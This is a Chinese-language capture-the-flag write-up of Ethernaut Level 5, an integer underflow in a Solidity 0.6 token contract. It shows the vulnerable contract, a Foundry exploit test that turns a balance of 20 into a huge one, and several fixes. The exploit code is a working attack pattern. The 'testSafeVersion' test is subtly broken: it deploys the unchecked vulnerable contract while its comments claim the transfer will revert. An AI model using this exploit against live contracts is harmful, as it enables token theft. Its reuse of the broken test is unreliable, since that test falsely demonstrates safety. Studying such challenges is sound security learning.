🎯 Ethernaut Level 5: Token - 整数下溢攻击详解

pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint) balances;
    uint public totalSupply;

    constructor(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        // 🚨 漏洞：没有检查下溢出
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}

// 假设用户余额为 20
uint balance = 20;
uint transferAmount = 21;

// 下溢计算：20 - 21 = 2^256 - 1 (巨大的正数)
uint result = balance - transferAmount;
// result = 115792089237316195423570985008687907853269984665640564039457584007913129639935

// require 检查：巨大的正数 >= 0，总是为真
require(result >= 0); // ✅ 通过检查

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

// 复制原始有漏洞的合约 (使用 0.6.0 版本行为)
contract VulnerableToken {
    mapping(address => uint) public balances;
    uint public totalSupply;

    constructor(uint _initialSupply) {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        // 故意使用不安全的算术运算
        unchecked {
            require(balances[msg.sender] - _value >= 0);
            balances[msg.sender] -= _value;
            balances[_to] += _value;
        }
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}

contract TokenTest is Test {
    VulnerableToken public token;
    
    address public attacker = makeAddr("attacker");
    address public victim = makeAddr("victim");

    function setUp() public {
        // 部署代币合约，初始供应量 1000
        token = new VulnerableToken(1000);
        
        // 给攻击者 20 个代币
        token.transfer(attacker, 20);
    }

    function testTokenUnderflowExploit() public {
        console.log("=== 攻击前状态 ===");
        console.log("攻击者余额:", token.balanceOf(attacker));
        console.log("受害者余额:", token.balanceOf(victim));
        
        vm.startPrank(attacker);
        
        // 🎯 关键攻击：转账超过余额的代币
        uint256 transferAmount = 21; // 大于 20 的余额
        token.transfer(victim, transferAmount);
        
        vm.stopPrank();
        
        console.log("=== 攻击后状态 ===");
        console.log("攻击者余额:", token.balanceOf(attacker));
        console.log("受害者余额:", token.balanceOf(victim));
        
        // 验证下溢攻击成功
        assertGt(token.balanceOf(attacker), 1000000); // 攻击者获得巨额代币
        assertEq(token.balanceOf(victim), transferAmount);
    }
    
    function testUnderflowMath() public view {
        // 演示下溢计算
        uint256 balance = 20;
        uint256 transferAmount = 21;
        
        console.log("=== 下溢计算演示 ===");
        console.log("原始余额:", balance);
        console.log("转账金额:", transferAmount);
        
        unchecked {
            uint256 result = balance - transferAmount;
            console.log("下溢结果:", result);
            console.log("最大 uint256:", type(uint256).max);
            console.log("是否相等:", result == type(uint256).max);
        }
    }
    
    function testSafeVersion() public {
        // 演示安全版本
        VulnerableToken safeToken = new VulnerableToken(1000);
        safeToken.transfer(attacker, 20);
        
        vm.startPrank(attacker);
        
        // 在 Solidity 0.8.0+ 中，这会 revert
        vm.expectRevert(); // 期望交易失败
        safeToken.transfer(victim, 21); // 这在新版本中会失败
        
        vm.stopPrank();
    }
}

pragma solidity ^0.8.0;

contract SafeToken {
    mapping(address => uint256) public balances;
    
    function transfer(address _to, uint256 _value) public returns (bool) {
        // Solidity 0.8.0+ 自动检查溢出
        balances[msg.sender] -= _value; // 自动 revert 如果下溢
        balances[_to] += _value;
        return true;
    }
}

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract SafeTokenV6 {
    using SafeMath for uint256;
    
    mapping(address => uint256) public balances;
    
    function transfer(address _to, uint256 _value) public returns (bool) {
        balances[msg.sender] = balances[msg.sender].sub(_value); // 安全减法
        balances[_to] = balances[_to].add(_value); // 安全加法
        return true;
    }
}

contract ExplicitCheckToken {
    mapping(address => uint256) public balances;
    
    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] >= _value, "Insufficient balance");
        
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }
}

// Solidity 0.7.x 及以下
function unsafeAdd(uint a, uint b) public pure returns (uint) {
    return a + b; // 可能溢出，无自动检查
}

// Solidity 0.8.0+
function safeAdd(uint a, uint b) public pure returns (uint) {
    return a + b; // 自动检查溢出，溢出时 revert
}

// 显式不安全操作 (0.8.0+)
function explicitUnsafe(uint a, uint b) public pure returns (uint) {
    unchecked {
        return a + b; // 显式跳过溢出检查
    }
}

// ✅ 安全的余额检查
function safeTransfer(address _to, uint256 _value) public {
    require(balances[msg.sender] >= _value, "Insufficient balance");
    
    balances[msg.sender] -= _value;
    balances[_to] += _value;
}

// ✅ 使用 SafeMath (旧版本)
function safeTransferLegacy(address _to, uint256 _value) public {
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
}